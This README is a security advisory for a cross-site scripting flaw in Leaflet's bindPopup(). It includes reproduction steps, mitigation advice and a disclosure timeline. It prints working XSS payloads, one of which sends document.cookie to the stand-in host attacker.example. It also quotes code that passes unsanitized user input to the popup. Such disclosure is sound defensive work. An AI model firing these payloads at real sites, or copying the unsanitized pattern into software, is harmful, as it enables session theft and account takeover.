README.md
Rendering markdown...
# Security Advisory: XSS in Leaflet bindPopup() — CVE-2025-69993
## Overview
| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2025-69993 |
| **Affected Software** | [Leaflet](https://leafletjs.com/) |
| **Affected Versions** | <= 1.9.4 |
| **Vulnerability Type** | Cross-Site Scripting (XSS) |
| **CWE** | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) — Improper Neutralization of Input During Web Page Generation |
| **CVSS 3.1 Score** | 6.1 (Medium) |
| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **Discoverer** | Pierfrancesco Conti |
## Description
Leaflet versions up to and including 1.9.4 are vulnerable to Cross-Site Scripting (XSS) through the `bindPopup()` method. This method renders user-supplied input as raw HTML without any sanitization, allowing attackers to inject and execute arbitrary JavaScript code in the context of a victim's browser session.
The vulnerability is exploitable when applications pass user-controlled data to `bindPopup()` — a common pattern in web mapping applications that allow users to create or annotate map markers.
## Affected Code
The `bindPopup()` method accepts and renders arbitrary HTML by default:
```javascript
L.marker([lat, lng])
.addTo(map)
.bindPopup(userControlledContent) // No sanitization applied
.openPopup();
```
The same issue affects `bindTooltip()` and any other Leaflet method that renders user-supplied HTML content.
## Proof of Concept
A full Angular application demonstrating the vulnerability is included in the `leaflet-xss-poc/` directory. The app simulates a realistic scenario: a web mapping application where users can create markers with custom descriptions.
### Environment
- **Framework:** Angular 21 (standalone components)
- **Library:** Leaflet 1.9.4
- **Browsers tested:** Chromium-based (Chrome, Edge) and Firefox
### How to Run the POC
```bash
cd leaflet-xss-poc
npm install
npm start
```
Then open `http://localhost:4200` in a browser.
### Steps to Reproduce
1. Open the application in a browser
2. In the **Description** textarea, enter the following payload:
```
Test<img src=x onerror="alert('XSS')">
```
3. Click **"Add Marker"**
4. The popup opens automatically on the map — the injected JavaScript executes (an alert dialog appears)
### Vulnerable Code Path
The user input from the form (`popupDescription`) is passed directly to Leaflet's `bindPopup()` without any sanitization:
```typescript
// app.ts — line 56-58
this.currentMarker = L.marker([this.markerLat, this.markerLng])
.addTo(this.map)
.bindPopup(popupContent) // popupContent = user input, no sanitization
.openPopup();
```
The template collects user input via a standard Angular form:
```html
<!-- app.html -->
<textarea
id="description"
[(ngModel)]="popupDescription"
rows="4"
placeholder="Enter description..."
></textarea>
```
### Additional Test Payloads
The following payloads were tested successfully:
| Payload | Result |
|---------|--------|
| `<img src=x onerror="alert('XSS')">` | JavaScript execution via error handler |
| `<svg onload="alert('XSS')">` | JavaScript execution via SVG load event |
| `<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">` | Cookie exfiltration (simulated) |
## Impact
This vulnerability can be exploited as **Stored XSS** (when marker content is persisted in a database) or **Reflected XSS** (when popup content is derived from URL parameters). Successful exploitation allows an attacker to:
- Steal session cookies and authentication tokens
- Perform actions on behalf of the victim user
- Redirect users to malicious websites
- Inject phishing content (e.g., fake login forms)
- Capture keystrokes on the affected page
### Real-World Exposure
This vulnerability was discovered during security testing of a production web application exposed on the public internet. The application allowed users to create map markers with custom descriptions, making it directly susceptible to Stored XSS attacks affecting all users who viewed the malicious markers.
## Recommended Mitigation
### For Leaflet Maintainers
- Change `bindPopup()` default behavior to render content as plain text
- Require an explicit opt-in for HTML rendering (e.g., `{ html: true }` option)
- Implement built-in sanitization when HTML mode is enabled
### For Developers Using Leaflet
Sanitize all user input before passing it to `bindPopup()`:
```javascript
// Option 1: Use DOMPurify
import DOMPurify from 'dompurify';
marker.bindPopup(DOMPurify.sanitize(userInput));
// Option 2: Escape HTML entities
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
marker.bindPopup(escapeHtml(userInput));
```
## References
- [Leaflet Documentation — Popup](https://leafletjs.com/reference.html#popup)
- [CWE-79: Improper Neutralization of Input During Web Page Generation](https://cwe.mitre.org/data/definitions/79.html)
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html)
## Disclosure Timeline
| Date | Action |
|------|--------|
| December 10, 2025 | Vulnerability discovered during security testing |
| December 18, 2025 | CVE ID requested from MITRE |
| March 4, 2026 | CVE-2025-69993 reserved by MITRE |
| April 14, 2026 | Public advisory published |
## Credit
This vulnerability was discovered and reported by **Pierfrancesco Conti**.